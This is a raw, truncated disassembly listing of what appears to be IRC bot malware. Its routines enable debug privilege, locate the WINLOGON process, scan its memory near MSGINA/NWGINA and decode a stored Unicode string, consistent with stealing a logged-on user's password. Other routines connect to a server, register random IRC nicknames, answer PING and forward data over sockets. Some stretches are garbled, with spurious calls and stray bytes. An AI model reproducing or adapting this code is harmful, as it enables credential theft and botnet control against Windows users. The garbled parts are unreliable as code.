jmp loc_417695 ; --------------------------------------------------------------------------- loc_417556: ; CODE XREF: sub_417517+2Ej ; sub_417517+33j push esi push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419EDA pop ecx test eax, eax pop ecx jz loc_417690 push ebx push offset aNtdll_dll ; "NTDLL.DLL" call dword_4270B8 ; LoadLibraryA mov esi, dword_4270BC mov edi, eax push offset aNtquerysystemi ; "NtQuerySystemInformation" push edi mov [ebp+var_8], edi call esi ; dword_4270BC push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer" push edi mov dword_4DA06C, eax call esi ; dword_4270BC push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation" push edi mov dword_4DA060, eax call esi ; dword_4270BC push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer" push edi mov dword_4DA270, eax call esi ; dword_4270BC push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString" push edi mov dword_4DA068, eax call esi ; dword_4270BC mov dword_4DA064, eax call sub_4176E9 test eax, eax mov [ebp+arg_0], eax jz loc_417663 mov esi, dword_427140 mov edi, 400h mov ebx, offset dword_4D9060 push edi push ebx push offset off_43FD24 call esi ; dword_427140 push edi mov edi, offset dword_4D9860 push edi push offset off_43FD0C call esi ; dword_427140 cmp [ebp+var_4], 1 push offset dword_4DA278 push [ebp+arg_0] jnz short loc_41760F call loc_417872 jmp short loc_417614 ; --------------------------------------------------------------------------- loc_41760F: ; CODE XREF: sub_417517+EFj call sub_417A19 loc_417614: ; CODE XREF: sub_417517+F6j pop ecx test eax, eax pop ecx jz short loc_41765C cmp dword_4DA278, 0 jnz short loc_417643 push ebx push edi push [ebp+arg_0] lea eax, [ebp+var_29C] push offset unk_43FCB0 push 200h push eax call sub_41C030 add esp, 18h jmp short loc_417676 ; --------------------------------------------------------------------------- loc_417643: ; CODE XREF: sub_417517+10Aj cmp [ebp+var_4], 1 push [ebp+arg_0] jnz short loc_417653 call sub_417B4F jmp short loc_417658 ; --------------------------------------------------------------------------- loc_417653: ; CODE XREF: sub_417517+133j call sub_417BE6 loc_417658: ; CODE XREF: sub_417517+13Aj pop ecx push eax jmp short loc_417668 ; --------------------------------------------------------------------------- loc_41765C: ; CODE XREF: sub_417517+101j push offset unk_43FC78 jmp short loc_417668 ; --------------------------------------------------------------------------- loc_417663: ; CODE XREF: sub_417517+B6j push offset unk_43FC4C loc_417668: ; CODE XREF: sub_417517+143j ; sub_417517+14Aj lea eax, [ebp+var_29C] push eax call sub_41BF36 pop ecx pop ecx loc_417676: ; CODE XREF: sub_417517+12Aj push 0 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419EDA pop ecx pop ecx push [ebp+var_8] call near ptr 0B40000h lock pop ebx jmp short loc_4176A3 ; --------------------------------------------------------------------------- loc_417690: ; CODE XREF: sub_417517+4Ej push offset unk_43FC18 loc_417695: ; CODE XREF: sub_417517+3Aj lea eax, [ebp+var_29C] push eax call sub_41BF36 pop ecx pop ecx loc_4176A3: ; CODE XREF: sub_417517+177j xor esi, esi cmp [ebp+var_10], esi jnz short loc_4176CA push esi lea eax, [ebp+var_29C] push [ebp+var_14] push eax lea eax, [ebp+var_98] push eax push [ebp+var_9C] call sub_4099D2 add esp, 14h loc_4176CA: ; CODE XREF: sub_417517+191j lea eax, [ebp+var_29C] push eax call sub_4157A6 push [ebp+var_18] call sub_40B32A pop ecx pop ecx push esi call near ptr 0B40000h xchg eax, ecx pop edi pop esi sub_417517 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4176E9 proc near ; CODE XREF: sub_417517+ACp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 18h and [esp+18h+var_4], 0 and [esp+18h+var_14], 0 push ebx push ebp push esi mov esi, dword_42714C mov ebx, 100h push edi push ebx push 8 call esi ; dword_42714C mov edi, dword_427148 push eax call edi ; dword_427148 mov ebp, eax lea eax, [esp+28h+var_14] push eax push ebx push ebp push 10h call dword_4DA06C ; ZwQuerySystemInformation push ebp push 0 call esi ; dword_42714C push eax call dword_427144 ; RtlFreeHeap push [esp+28h+var_14] push 8 call esi ; dword_42714C push eax call edi ; dword_427148 mov ebp, eax mov eax, [esp+28h+var_14] lea ecx, [esp+28h+var_C] mov [esp+28h+var_C], eax push ecx push eax push ebp push 10h call dword_4DA06C ; ZwQuerySystemInformation test eax, eax jnz short loc_4177D6 mov eax, [esp+28h+var_C] shr eax, 4 mov [esp+28h+var_10], eax jz short loc_4177D6 push 1 mov ebx, ebp pop ecx cmp eax, ecx mov [esp+28h+var_18], ecx jb short loc_4177D6 loc_417772: ; CODE XREF: sub_4176E9+EBj cmp word ptr [ebx+8], 5 jnz short loc_4177C9 push 0 push 0 call dword_4DA060 ; RtlCreateQueryDebugBuffer mov edi, eax push edi push 1 push dword ptr [ebx+4] call dword_4DA270 ; RtlQueryProcessDebugInformation test eax, eax jnz short loc_4177BA mov eax, [edi+60h] push offset aWinlogon ; "WINLOGON" mov [esp+2Ch+var_8], eax lea eax, [edi+80h] push eax call sub_41DC7A pop ecx push eax call sub_41BFB0 pop ecx test eax, eax pop ecx jnz short loc_4177EE loc_4177BA: ; CODE XREF: sub_4176E9+AAj test edi, edi jz short loc_4177C5 push edi call dword_4DA068 ; RtlDestroyQueryDebugBuffer loc_4177C5: ; CODE XREF: sub_4176E9+D3j mov eax, [esp+28h+var_10] loc_4177C9: ; CODE XREF: sub_4176E9+8Ej add ebx, 10h inc [esp+28h+var_18] cmp [esp+28h+var_18], eax jbe short loc_417772 loc_4177D6: ; CODE XREF: sub_4176E9+6Dj ; sub_4176E9+7Aj ... xor edi, edi loc_4177D8: ; CODE XREF: sub_4176E9+17Dj push ebp push 0 call esi ; dword_42714C push eax call dword_427144 ; RtlFreeHeap mov eax, edi loc_4177E6: ; CODE XREF: sub_4176E9+184j pop edi pop esi pop ebp pop ebx add esp, 18h retn ; --------------------------------------------------------------------------- loc_4177EE: ; CODE XREF: sub_4176E9+CFj and [esp+28h+var_10], 0 cmp [esp+28h+var_8], 0 jbe short loc_417857 lea eax, [edi+80h] mov [esp+28h+var_18], eax loc_417804: ; CODE XREF: sub_4176E9+16Cj add [esp+28h+var_18], 11Ch push offset aNwgina ; "NWGINA" push [esp+2Ch+var_18] call sub_41DC7A pop ecx push eax call sub_41BFB0 pop ecx test eax, eax pop ecx jnz short loc_41786B push offset aMsgina ; "MSGINA" push [esp+2Ch+var_18] call sub_41DC7A pop ecx push eax call sub_41BFB0 pop ecx test eax, eax pop ecx jnz short loc_417849 mov eax, [ebx+4] mov [esp+28h+var_4], eax loc_417849: ; CODE XREF: sub_4176E9+157j inc [esp+28h+var_10] mov eax, [esp+28h+var_10] cmp eax, [esp+28h+var_8] jb short loc_417804 loc_417857: ; CODE XREF: sub_4176E9+10Fj test edi, edi jz short loc_417862 push edi call dword_4DA068 ; RtlDestroyQueryDebugBuffer loc_417862: ; CODE XREF: sub_4176E9+170j mov edi, [esp+28h+var_4] jmp loc_4177D8 ; --------------------------------------------------------------------------- loc_41786B: ; CODE XREF: sub_4176E9+13Cj xor eax, eax jmp loc_4177E6 sub_4176E9 endp ; --------------------------------------------------------------------------- loc_417872: ; CODE XREF: sub_417517+F1p push ebp mov ebp, esp sub esp, 64h push esi xor esi, esi push dword ptr [ebp+8] mov [ebp-10h], esi push esi push 410h call near ptr 0B40000h jnp short near ptr loc_4178C8+1 mov byte ptr [ecx+775FC45h], 33h shr cl, 7Bh add [eax], eax add [ebx+57530C45h], cl mov [eax], esi lea eax, [ebp-64h] push eax call dword_427158 ; GetSystemInfo push dword ptr [ebp-60h] mov [ebp-8], esi mov esi, dword_42714C push 8 call esi ; dword_42714C mov edi, dword_427148 push eax call edi ; dword_427148 lea ecx, [ebp-8] loc_4178C8: ; CODE XREF: .nsp0:0041788Cj mov ebx, dword_427154 push ecx mov [ebp+8], eax push dword ptr [ebp-60h] push eax push 7FFDF000h push dword ptr [ebp-4] call ebx ; dword_427154 test eax, eax jnz short loc_4178EB xor esi, esi jmp loc_417A09 ; --------------------------------------------------------------------------- loc_4178EB: ; CODE XREF: .nsp0:004178E2j lea eax, [ebp-40h] push 1Ch push eax mov eax, [ebp+8] push dword ptr [eax+18h] push dword ptr [ebp-4] call dword_427150 ; VirtualQueryEx test eax, eax jz loc_4179F8 mov ecx, [ebp-30h] mov eax, 1000h and ecx, eax cmp ecx, eax jnz loc_4179F8 test byte ptr [ebp-2Bh], 1 jnz loc_4179F8 push dword ptr [ebp-34h] push 8 call esi ; dword_42714C push eax call edi ; dword_427148 mov edi, eax lea eax, [ebp-8] push eax mov eax, [ebp+8] push dword ptr [ebp-34h] mov [ebp-0Ch], edi push edi push dword ptr [eax+18h] push dword ptr [ebp-4] call ebx ; dword_427154 test eax, eax jz loc_4179F8 loc_41794E: ; CODE XREF: .nsp0:00417984j push edi push offset dword_4D9060 call sub_4265F4 pop ecx test eax, eax pop ecx jnz short loc_417976 lea eax, [edi+200h] push eax push offset dword_4D9860 call sub_4265F4 pop ecx test eax, eax pop ecx jz short loc_417986 loc_417976: ; CODE XREF: .nsp0:0041795Dj mov eax, [ebp-34h] mov ecx, [ebp-0Ch] inc edi add eax, ecx inc edi cmp edi, eax jnb short loc_4179F8 jmp short loc_41794E ; --------------------------------------------------------------------------- loc_417986: ; CODE XREF: .nsp0:00417974j test edi, edi jz short loc_4179F8 lea eax, [ebp-14h] push eax lea eax, [edi+410h] push eax call near ptr 0B40000h inc edi test eax, eax jz short loc_4179C1 lea eax, [ebp-24h] push eax lea eax, [ebp-14h] push eax call near ptr 0B40000h aam 85h sal byte ptr [eax+edx-76h], 87h sub al, 4 ; --------------------------------------------------------------------------- db 2 dup(0), 8Bh dd 0E8D10C4Dh, 897FE083h db 1 ; --------------------------------------------------------------------------- loc_4179C1: ; CODE XREF: .nsp0:0041799Dj movzx eax, word ptr [edi+42Ch] shr eax, 8 mov dword_4DA284, eax mov eax, [ebp+8] mov dword ptr [ebp-10h], 1 mov eax, [eax+18h] sub eax, [ebp-0Ch] lea eax, [eax+edi+434h] add edi, 434h mov dword_4DA27C, eax mov dword_4DA280, edi loc_4179F8: ; CODE XREF: .nsp0:00417902j ; .nsp0:00417914j ... push dword ptr [ebp+8] push 0 call esi ; dword_42714C push eax call dword_427144 ; RtlFreeHeap mov esi, [ebp-10h] loc_417A09: ; CODE XREF: .nsp0:004178E6j push dword ptr [ebp-4] call dword_42706C ; CloseHandle pop edi mov eax, esi pop ebx pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417A19 proc near ; CODE XREF: sub_417517:loc_41760Fp var_4C = byte ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_28 = byte ptr -28h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_13 = byte ptr -13h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4Ch push ebx push esi push edi push [ebp+arg_0] push 0 push 410h call near ptr 0B40000h push eax test eax, eax mov [ebp+arg_0], eax jz loc_417B0B mov eax, [ebp+arg_4] and dword ptr [eax], 0 lea eax, [ebp+var_4C] push eax call dword_427158 ; GetSystemInfo mov ebx, [ebp+var_44] mov eax, [ebp+var_40] cmp ebx, eax mov [ebp+var_C], eax jnb loc_417B02 mov edi, dword_42714C loc_417A64: ; CODE XREF: sub_417A19+E3j lea eax, [ebp+var_28] push 1Ch push eax push ebx push [ebp+arg_0] call dword_427150 ; VirtualQueryEx test eax, eax jz short loc_417AF0 mov edx, [ebp+var_18] mov ecx, [ebp+var_1C] mov eax, 1000h mov [ebp+var_4], ecx and edx, eax cmp edx, eax jnz short loc_417AF6 test [ebp+var_13], 1 jnz short loc_417AF6 push ecx push 8 call edi ; dword_42714C push eax call dword_427148 ; RtlAllocateHeap mov esi, eax lea eax, [ebp+var_8] push eax and [ebp+var_8], 0 push [ebp+var_1C] push esi push ebx push [ebp+arg_0] call near ptr 0B40000h int 85h sal byte ptr [eax+ebp+68h], 60h nop dec ebp add [esi-18h], dl das jmp short $+2 add [ecx-7Bh], bl rcr byte ptr [ecx+75h], 17h lea eax, [esi+400h] push offset dword_4D9860 push eax call sub_4265F4 pop ecx test eax, eax pop ecx jz short loc_417B12 push esi push 0 call edi ; dword_42714C push eax call dword_427144 ; RtlFreeHeap jmp short loc_417AF6 ; --------------------------------------------------------------------------- loc_417AF0: ; CODE XREF: sub_417A19+5Dj mov eax, [ebp+var_48] mov [ebp+var_4], eax loc_417AF6: ; CODE XREF: sub_417A19+71j ; sub_417A19+77j ... add ebx, [ebp+var_4] cmp ebx, [ebp+var_C] jb loc_417A64 loc_417B02: ; CODE XREF: sub_417A19+3Fj push [ebp+arg_0] call dword_42706C ; CloseHandle loc_417B0B: ; CODE XREF: sub_417A19+1Ej xor eax, eax loc_417B0D: ; CODE XREF: sub_417A19+134j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_417B12: ; CODE XREF: sub_417A19+C7j add ebx, 800h lea eax, [esi+800h] xor ecx, ecx mov dword_4DA27C, ebx mov dword_4DA280, eax cmp [eax], cl jnz short loc_417B34 cmp [eax+1], cl jz short loc_417B3C loc_417B34: ; CODE XREF: sub_417A19+114j ; sub_417A19+121j inc ecx inc eax inc eax cmp byte ptr [eax], 0 jnz short loc_417B34 loc_417B3C: ; CODE XREF: sub_417A19+119j mov eax, [ebp+arg_4] push [ebp+arg_0] mov [eax], ecx call dword_42706C ; CloseHandle push 1 pop eax jmp short loc_417B0D sub_417A19 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417B4F proc near ; CODE XREF: sub_417517+135p var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_4DA278 push esi mov esi, dword_42714C push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_6], ax mov [ebp+var_8], cx movzx eax, ax push eax push 8 call esi ; dword_42714C push eax call dword_427148 ; RtlAllocateHeap mov ecx, dword_4DA278 mov [ebp+var_4], eax add ecx, ecx push ecx push dword_4DA280 push eax call near ptr sub_41C9B0 add esp, 0Ch lea eax, [ebp+var_8] push eax mov al, byte ptr dword_4DA284 push eax call dword_4DA064 ; RtlRunDecodeUnicodeString push [ebp+var_4] mov edi, offset dword_4DA070 push offset dword_4D9060 push offset dword_4D9860 push [ebp+arg_0] push offset dword_43FE34 push 200h push edi call sub_41C030 add esp, 1Ch push [ebp+var_4] push 0 call esi ; dword_42714C push eax call dword_427144 ; RtlFreeHeap mov eax, edi pop edi pop esi leave retn sub_417B4F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417BE6 proc near ; CODE XREF: sub_417517:loc_417653p var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov eax, dword_4DA278 push ebx push esi push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_16], ax mov [ebp+var_18], cx movzx eax, ax push eax push 8 call dword_42714C ; GetProcessHeap push eax call dword_427148 ; RtlAllocateHeap and [ebp+var_C], 0 mov [ebp+var_14], eax mov ebx, offset dword_4D9860 mov edi, 200h mov esi, offset dword_4D8E60 loc_417C2C: ; CODE XREF: sub_417BE6+FAj mov eax, dword_4DA278 add eax, eax push eax push dword_4DA280 push [ebp+var_14] call near ptr sub_41C9B0 add esp, 0Ch lea eax, [ebp+var_18] push eax push [ebp+var_C] call dword_4DA064 ; RtlRunDecodeUnicodeString mov eax, dword_4DA278 and [ebp+var_10], 0 mov ecx, [ebp+var_14] mov [ebp+var_8], 1 test eax, eax jbe short loc_417CA1 loc_417C69: ; CODE XREF: sub_417BE6+B3j cmp [ebp+var_8], 0 jz short loc_417CBE mov dl, [ecx] test dl, dl mov [ebp+var_1], dl jz short loc_417C8D cmp byte ptr [ecx+1], 0 jnz short loc_417C8D cmp dl, 20h jnb short loc_417C87 and [ebp+var_8], 0 loc_417C87: ; CODE XREF: sub_417BE6+9Bj cmp [ebp+var_1], 7Eh jbe short loc_417C91 loc_417C8D: ; CODE XREF: sub_417BE6+90j ; sub_417BE6+96j and [ebp+var_8], 0 loc_417C91: ; CODE XREF: sub_417BE6+A5j inc ecx inc ecx inc [ebp+var_10] cmp [ebp+var_10], eax jb short loc_417C69 cmp [ebp+var_8], 0 jz short loc_417CBE loc_417CA1: ; CODE XREF: sub_417BE6+81j push [ebp+var_14] push offset dword_4D9060 push ebx push [ebp+arg_0] push offset dword_43FE34 push edi push esi call sub_41C030 add esp, 1Ch jmp short loc_417CD6 ; --------------------------------------------------------------------------- loc_417CBE: ; CODE XREF: sub_417BE6+87j ; sub_417BE6+B9j push offset dword_4D9060 push ebx push [ebp+arg_0] push offset dword_43FE84 push edi push esi call sub_41C030 add esp, 18h loc_417CD6: ; CODE XREF: sub_417BE6+D6j inc [ebp+var_C] cmp [ebp+var_C], 0FFh jbe loc_417C2C push [ebp+var_14] push 0 call dword_42714C ; GetProcessHeap push eax call dword_427144 ; RtlFreeHeap mov eax, esi pop edi pop esi pop ebx leave retn sub_417BE6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417CFF proc near ; CODE XREF: sub_417EC3+2Fp var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4D1270 ; socket mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_417D7B push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41BC40 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_4D11F0 ; ntohs push [ebp+arg_0] mov [ebp+var_E], ax call dword_4D1230 ; inet_addr cmp eax, esi jnz short loc_417D60 push [ebp+arg_0] call dword_4D1274 ; gethostbyname test eax, eax jz short loc_417D7B mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_417D60: ; CODE XREF: sub_417CFF+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_4D1198 ; connect cmp eax, esi jnz short loc_417D7F push edi call dword_4D1288 ; closesocket loc_417D7B: ; CODE XREF: sub_417CFF+1Bj ; sub_417CFF+58j mov eax, esi jmp short loc_417D81 ; --------------------------------------------------------------------------- loc_417D7F: ; CODE XREF: sub_417CFF+73j mov eax, edi loc_417D81: ; CODE XREF: sub_417CFF+7Ej pop edi pop esi leave retn sub_417CFF endp ; =============== S U B R O U T I N E ======================================= sub_417D85 proc near ; CODE XREF: .nsp0:00404D9Ep ; .nsp0:00404E07p ... arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] push offset asc_430808 ; "\n" push edi call sub_41C560 pop ecx mov esi, offset dword_4DA28C pop ecx loc_417D9D: ; CODE XREF: sub_417D85+42j cmp dword ptr [esi-4], 1 jnz short loc_417DBB cmp dword ptr [esi], 0 jbe short loc_417DBB push 0 push edi call sub_41B890 pop ecx push eax push edi push dword ptr [esi] call dword_4D1240 ; send loc_417DBB: ; CODE XREF: sub_417D85+1Cj ; sub_417D85+21j add esi, 210h cmp esi, offset dword_4E09AC jl short loc_417D9D pop edi pop esi retn sub_417D85 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417DCC proc near ; CODE XREF: sub_417EC3+152p var_420 = byte ptr -420h var_220 = byte ptr -220h var_20 = dword ptr -20h var_1C = dword ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 420h push ebx push esi mov esi, offset asc_43368C ; " " push edi push esi push [ebp+arg_0] call sub_41C794 pop ecx mov [ebp+var_20], eax pop ecx lea edi, [ebp+var_1C] push 7 pop ebx loc_417DF1: ; CODE XREF: sub_417DCC+35j push esi push 0 call sub_41C794 mov [edi], eax pop ecx add edi, 4 dec ebx pop ecx jnz short loc_417DF1 mov esi, [ebp+var_1C] xor edi, edi cmp [ebp+var_20], edi jnz short loc_417E19 cmp esi, edi jnz short loc_417E19 push 1 pop eax jmp loc_417EBE ; --------------------------------------------------------------------------- loc_417E19: ; CODE XREF: sub_417DCC+3Fj ; sub_417DCC+43j push [ebp+var_20] push offset aPing ; "PING" call sub_41C710 pop ecx pop ecx test eax, eax push esi jnz short loc_417E43 lea eax, [ebp+var_220] push offset dword_440A50 push eax call sub_41BF36 add esp, 0Ch jmp short loc_417E9D ; --------------------------------------------------------------------------- loc_417E43: ; CODE XREF: sub_417DCC+5Fj push offset a433 ; "433" call sub_41C710 pop ecx test eax, eax pop ecx jz short loc_417E64 push esi push offset dword_440A4C call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_417EBC loc_417E64: ; CODE XREF: sub_417DCC+85j push 200h lea eax, [ebp+var_420] push edi push eax call sub_41BC40 lea eax, [ebp+var_420] push eax call sub_4180E3 lea eax, [ebp+var_420] push eax lea eax, [ebp+var_220] push offset dword_440A40 push eax call sub_41BF36 add esp, 1Ch loc_417E9D: ; CODE XREF: sub_417DCC+75j lea eax, [ebp+var_220] push edi push eax call sub_41B890 pop ecx push eax lea eax, [ebp+var_220] push eax push [ebp+arg_4] call dword_4D1240 ; send loc_417EBC: ; CODE XREF: sub_417DCC+96j xor eax, eax loc_417EBE: ; CODE XREF: sub_417DCC+48j pop edi pop esi pop ebx leave retn sub_417DCC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417EC3 proc near ; DATA XREF: sub_418065+61o var_4008 = byte ptr -4008h var_3008 = byte ptr -3008h var_2008 = byte ptr -2008h var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 4008h call sub_41C1D0 push ebx push esi mov esi, [ebp+arg_0] push edi imul esi, 210h push 1 pop edi lea eax, dword_4DA294[esi] mov dword_4DA288[esi], edi push dword_4DA494[esi] push eax call sub_417CFF pop ecx xor ebx, ebx cmp eax, edi pop ecx mov dword_4DA28C[esi], eax jb loc_418045 mov edi, 1000h lea eax, [ebp+var_2008] push edi push ebx push eax call sub_41BC40 lea eax, [ebp+var_2008] push eax call sub_4180E3 lea eax, [ebp+var_4008] push eax call sub_4180E3 lea eax, [ebp+var_3008] push eax call sub_4180E3 lea eax, [ebp+var_3008] push eax lea eax, [ebp+var_4008] push eax lea eax, [ebp+var_2008] push eax lea eax, [ebp+var_1008] push offset aNickSUserSHotm ; "NICK %s\nUSER %s \"hotmail.com\" \"127.0.0."... push eax call sub_41BF36 add esp, 2Ch lea eax, [ebp+var_1008] push ebx push eax call sub_41B890 pop ecx push eax lea eax, [ebp+var_1008] push eax push dword_4DA28C[esi] call dword_4D1240 ; send push edi lea eax, [ebp+var_1008] push ebx push eax call sub_41BC40 add esp, 0Ch loc_417F9C: ; CODE XREF: sub_417EC3+10Ej ; sub_417EC3+17Dj push edi lea eax, [ebp+var_1008] push ebx push eax call sub_41BC40 add esp, 0Ch lea eax, [ebp+var_1008] push ebx push edi push eax push dword_4DA28C[esi] call dword_4D1208 ; recv cmp eax, ebx mov [ebp+var_8], eax jle short loc_418045 xor eax, eax cmp [ebp+var_8], ebx mov [ebp+var_4], eax jz short loc_417F9C loc_417FD3: ; CODE XREF: sub_417EC3+17Bj mov al, [ebp+eax+var_1008] cmp al, 0Dh jz short loc_417FFA cmp al, 0Ah jz short loc_417FFA cmp [ebp+arg_0], 0FA0h jz short loc_417FFA mov ecx, [ebp+arg_0] inc [ebp+arg_0] mov [ebp+ecx+var_2008], al jmp short loc_418034 ; --------------------------------------------------------------------------- loc_417FFA: ; CODE XREF: sub_417EC3+119j ; sub_417EC3+11Dj ... mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_418034 push dword_4DA28C[esi] mov [ebp+eax+var_2008], bl lea eax, [ebp+var_2008] push eax call sub_417DCC pop ecx test eax, eax pop ecx ja short loc_418045 push edi lea eax, [ebp+var_2008] push ebx push eax call sub_41BC40 add esp, 0Ch mov [ebp+arg_0], ebx loc_418034: ; CODE XREF: sub_417EC3+135j ; sub_417EC3+13Cj mov eax, [ebp+var_4] inc eax cmp eax, [ebp+var_8] mov [ebp+var_4], eax jnz short loc_417FD3 jmp loc_417F9C ; --------------------------------------------------------------------------- loc_418045: ; CODE XREF: sub_417EC3+40j ; sub_417EC3+104j ... mov dword_4DA288[esi], ebx mov esi, dword_4DA28C[esi] cmp esi, ebx jbe short loc_41805C push esi call dword_4D1288 ; closesocket loc_41805C: ; CODE XREF: sub_417EC3+190j pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_417EC3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418065 proc near ; CODE XREF: .nsp0:00404CF1p var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp [ebp+arg_8], ebx push esi push edi mov [ebp+var_4], ebx jle short loc_4180DE loc_418077: ; CODE XREF: sub_418065+77j xor edi, edi mov eax, offset dword_4DA288 loc_41807E: ; CODE XREF: sub_418065+28j cmp [eax], ebx jz short loc_41808F add eax, 210h inc edi cmp eax, offset dword_4E09A8 jl short loc_41807E loc_41808F: ; CODE XREF: sub_418065+1Bj cmp edi, 31h jz short loc_4180DE mov esi, edi push [ebp+arg_0] imul esi, 210h lea eax, dword_4DA294[esi] push eax call sub_41C550 mov eax, [ebp+arg_4] pop ecx mov dword_4DA494[esi], eax pop ecx lea eax, [ebp+var_8] mov dword_4DA288[esi], 1 push eax push ebx push edi push offset sub_417EC3 push ebx push ebx call dword_42707C ; CreateThread inc [ebp+var_4] mov eax, [ebp+var_4] cmp eax, [ebp+arg_8] jl short loc_418077 loc_4180DE: ; CODE XREF: sub_418065+10j ; sub_418065+2Dj pop edi pop esi pop ebx leave retn sub_418065 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4180E3 proc near ; CODE XREF: .nsp0:00405244p ; .nsp0:00405287p ... var_40 = byte ptr -40h var_2D = byte ptr -2Dh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_18 = qword ptr -18h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 40h push 14h lea eax, [ebp+var_2C] push 0 push eax call sub_41BC40 add esp, 0Ch call sub_41BF92 mov [ebp+var_C], eax fild [ebp+var_C] fmul dbl_4276F8 call sub_41CE38 cmp eax, 1 jnz short loc_41812D call sub_41BF92 call sub_41BF92 push 66h cdq pop ecx idiv ecx push dword ptr loc_4401D7+1[edx*4] jmp short loc_418146 ; --------------------------------------------------------------------------- loc_41812D: ; CODE XREF: sub_4180E3+2Fj call sub_41BF92 call sub_41BF92 cdq mov ecx, 0C0h idiv ecx push off_43FED8[edx*4] loc_418146: ; CODE XREF: sub_4180E3+48j lea eax, [ebp+var_2C] push eax call sub_41C550 pop ecx lea eax, [ebp+var_2C] pop ecx push ebx push esi push edi push eax call sub_41B890 pop ecx mov esi, eax push 13h mov [ebp+var_4], esi pop eax sub eax, esi mov [ebp+var_C], eax call sub_41BF92 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276F0 call sub_41CE38 mov ebx, eax call sub_41BF92 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul dbl_4276E8 call sub_41CE38 cmp esi, 2 mov edi, offset a__0 ; "-|`_\\{[]}" jle short loc_4181B9 cmp esi, 3 jnz short loc_4181B0 cmp ebx, 1 jz short loc_4181B9 loc_4181B0: ; CODE XREF: sub_4180E3+C6j cmp eax, 1 jnz loc_418273 loc_4181B9: ; CODE XREF: sub_4180E3+C1j ; sub_4180E3+CBj call sub_41BF92 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276E0 call sub_41CE38 push dword ptr loc_4401D7+1[eax*4] lea eax, [ebp+var_40] push eax call sub_41C550 movsx eax, [ebp+esi+var_2D] lea ebx, [ebp+esi+var_2C] push eax push edi call sub_41C650 add esp, 10h test eax, eax jnz short loc_418260 movsx eax, [ebp+var_40] push eax push edi call sub_41C650 pop ecx test eax, eax pop ecx jnz short loc_418260 call sub_41BF92 mov dword ptr [ebp+var_18+4], eax dec esi fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], esi fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276E8 call sub_41CE38 cmp eax, 1 jnz short loc_418260 push edi call sub_41B890 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-8] call sub_41BF92 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-8] fmul dbl_4276E8 call sub_41CE38 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebx], al loc_418260: ; CODE XREF: sub_4180E3+111j ; sub_4180E3+122j ... push [ebp+var_C] lea eax, [ebp+var_40] push eax lea eax, [ebp+var_2C] push eax call sub_41C880 add esp, 0Ch loc_418273: ; CODE XREF: sub_4180E3+D0j lea eax, [ebp+var_2C] push eax call sub_41B890 mov esi, eax movsx eax, 